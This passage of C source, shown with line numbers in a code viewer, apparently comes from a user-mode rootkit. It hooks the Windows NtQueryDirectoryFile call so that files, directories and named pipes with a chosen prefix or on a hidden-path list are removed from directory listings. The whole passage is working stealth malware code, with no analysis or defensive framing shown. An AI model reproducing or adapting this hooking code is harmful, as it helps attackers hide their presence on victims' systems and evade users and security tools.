| 290 | return OriginalNtResumeThread(thread, suspendCount); |
| 291 | } |
| 292 | static NTSTATUS NTAPI HookedNtQueryDirectoryFile(HANDLE fileHandle, HANDLE event, PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, LPVOID fileInformation, ULONG length, FILE_INFORMATION_CLASS fileInformationClass, BOOLEAN returnSingleEntry, PUNICODE_STRING fileName, BOOLEAN restartScan) |
| 293 | { |
| 294 | NTSTATUS status = OriginalNtQueryDirectoryFile(fileHandle, event, apcRoutine, apcContext, ioStatusBlock, fileInformation, length, fileInformationClass, returnSingleEntry, fileName, restartScan); |
| 295 | |
| 296 | // Hide files, directories and named pipes |
| 297 | if (NT_SUCCESS(status) && (fileInformationClass == FileDirectoryInformation || fileInformationClass == FileFullDirectoryInformation || fileInformationClass == FileIdFullDirectoryInformation || fileInformationClass == FileBothDirectoryInformation || fileInformationClass == FileIdBothDirectoryInformation || fileInformationClass == FileNamesInformation)) |
| 298 | { |
| 299 | WCHAR fileDirectoryPath[MAX_PATH + 1] = { 0 }; |
| 300 | WCHAR fileFileName[MAX_PATH + 1] = { 0 }; |
| 301 | WCHAR fileFullPath[MAX_PATH + 1] = { 0 }; |
| 302 | |
| 303 | if (GetFileType(fileHandle) == FILE_TYPE_PIPE) StrCpyW(fileDirectoryPath, L"\\\\.\\pipe\\"); |
| 304 | else GetPathFromHandle(fileHandle, fileDirectoryPath, MAX_PATH); |
| 305 | |
| 306 | if (returnSingleEntry) |
| 307 | { |
| 308 | // When returning a single entry, skip until the first item is found that is not hidden. |
| 309 | for (BOOL skip = HasPrefix(FileInformationGetName(fileInformation, fileInformationClass, fileFileName)) || IsPathHidden(CreatePath(fileFullPath, fileDirectoryPath, FileInformationGetName(fileInformation, fileInformationClass, fileFileName))); skip; skip = HasPrefix(FileInformationGetName(fileInformation, fileInformationClass, fileFileName)) || IsPathHidden(CreatePath(fileFullPath, fileDirectoryPath, FileInformationGetName(fileInformation, fileInformationClass, fileFileName)))) |
| 310 | { |
| 311 | status = OriginalNtQueryDirectoryFile(fileHandle, event, apcRoutine, apcContext, ioStatusBlock, fileInformation, length, fileInformationClass, returnSingleEntry, fileName, restartScan); |
| 312 | if (status) break; |
| 313 | } |
| 314 | } |
| 315 | else |
| 316 | { |
| 317 | LPVOID current = fileInformation; |
| 318 | LPVOID previous = NULL; |
| 319 | ULONG nextEntryOffset; |
| 320 | |
| 321 | do |
| 322 | { |
| 323 | nextEntryOffset = FileInformationGetNextEntryOffset(current, fileInformationClass); |
| 324 | |
| 325 | if (HasPrefix(FileInformationGetName(current, fileInformationClass, fileFileName)) || IsPathHidden(CreatePath(fileFullPath, fileDirectoryPath, FileInformationGetName(current, fileInformationClass, fileFileName)))) |
| 326 | { |
| 327 | if (nextEntryOffset) |
| 328 | { |
| 329 | i_memcpy( |
| 330 | current, |
| 331 | (LPBYTE)current + nextEntryOffset, |
| 332 | (ULONG)(length - ((ULONGLONG)current - (ULONGLONG)fileInformation) - nextEntryOffset) |
| 333 | ); |
| 334 | continue; |
| 335 | } |
| 336 | else |
| 337 | { |
| 338 | if (current == fileInformation) status = STATUS_NO_MORE_FILES; |
| 339 | else FileInformationSetNextEntryOffset(previous, fileInformationClass, 0); |
| 340 | break; |
| 341 | } |
| 342 | } |
| 343 | |
| 344 | previous = current; |
| 345 | current = (LPBYTE)current + nextEntryOffset; |
| 346 | } |
| 347 | while (nextEntryOffset); |
| 348 | } |
| 349 | } |
nothing calls this directly
no test coverage detected